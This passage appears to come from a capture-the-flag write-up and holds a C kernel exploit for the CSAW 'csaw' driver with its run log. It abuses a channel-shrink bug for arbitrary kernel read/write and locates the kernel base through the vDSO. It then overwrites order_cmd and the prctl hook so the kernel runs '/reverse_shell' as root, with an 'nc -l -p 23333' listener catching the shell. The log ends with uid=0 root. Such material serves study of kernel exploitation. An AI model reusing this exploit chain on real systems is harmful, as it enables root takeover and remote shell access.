    struct read_channel_args read_args;
    struct close_channel_args close_args;
    struct write_channel_args write_args;
    size_t addr = 0xffffffff80000000;

    size_t kernel_base = 0 ;
    size_t selinux_disable_addr= 0x351c80;
    size_t prctl_hook = 0xeb7df8;
    size_t order_cmd = 0xe4dfa0;
    size_t poweroff_work_func_addr =0xa39c0;

    char *buf = malloc(0x1000);

    fd = open("/dev/csaw",O_RDWR);
    if(fd < 0){
        puts("[-] open error");
        exit(-1);
    }

    alloc_args.buf_size = 0x100;
```

```
    alloc_args.id = -1;
    ioctl(fd,CSAW_ALLOC_CHANNEL,&alloc_args);
    if (alloc_args.id == -1){
        puts("[-] alloc_channel error");
        exit(-1);
    }
    printf("[+] now we get a channel %d\n",alloc_args.id);
    shrink_args.id = alloc_args.id;
    shrink_args.size = 0x100+1;
    ioctl(fd,CSAW_SHRINK_CHANNEL,&shrink_args);
    puts("[+] we can read and write any momery");
    for(;addr<0xffffffffffffefff;addr+=0x1000){
        seek_args.id =  alloc_args.id;
        seek_args.index = addr-0x10 ;
        seek_args.whence= SEEK_SET;
        ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);
        read_args.id = alloc_args.id;
        read_args.buf = buf;
        read_args.count = 0x1000;
        ioctl(fd,CSAW_READ_CHANNEL,&read_args);
        if(( !strcmp("gettimeofday",buf+0x2cd)) ){
            result = addr;
            printf("[+] found vdso %lx\n",result);
            break;
        }
    }

    kernel_base = addr&0xffffffffff000000;
    selinux_disable_addr+= kernel_base;
    prctl_hook += kernel_base;
    order_cmd += kernel_base;
    poweroff_work_func_addr += kernel_base;

    printf("[+] found kernel base: %lx\n",kernel_base);
    printf("[+] found prctl_hook: %lx\n",prctl_hook);
    printf("[+] found order_cmd : %lx\n",order_cmd);
    printf("[+] found selinux_disable_addr : %lx\n",selinux_disable_addr);
    printf("[+] found poweroff_work_func_addr: %lx\n",poweroff_work_func_addr);


    memset(buf,'\0',0x1000);
    strcpy(buf,"/reverse_shell\0");
    //strcpy(buf,"/bin/chmod 777 /flag\0");

    seek_args.id =  alloc_args.id;
    seek_args.index = order_cmd-0x10 ;
    seek_args.whence= SEEK_SET;
    ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);

    write_args.id = alloc_args.id;
    write_args.buf = buf;
    write_args.count = strlen(buf);
```

```c
    ioctl(fd,CSAW_WRITE_CHANNEL,&write_args);

    memset(buf,'\0',0x1000);
    *(size_t *)buf = poweroff_work_func_addr;
    seek_args.id =  alloc_args.id;
    seek_args.index = prctl_hook-0x10 ;
    seek_args.whence= SEEK_SET;
    ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);

    write_args.id = alloc_args.id;
    write_args.buf = buf;
    write_args.count = 20+1;
    ioctl(fd,CSAW_WRITE_CHANNEL,&write_args);

    if(fork() == 0){
        prctl(0);
        exit(-1);
    }

    system("nc -l -p 23333");
    return 0;
}
```

```
/ $ ./exp
[+] now we get a channel 1
[+] we can read and write any momery
[+] found vdso ffffffff81e04000
[+] found kernel base: ffffffff81000000
[+] found prctl_hook: ffffffff81eb7df8
[+] found order_cmd : ffffffff81e4dfa0
[+] found selinux_disable_addr : ffffffff81351c80
[+] found poweroff_work_func_addr: ffffffff810a39c0
id
uid=0(root) gid=0(root)
```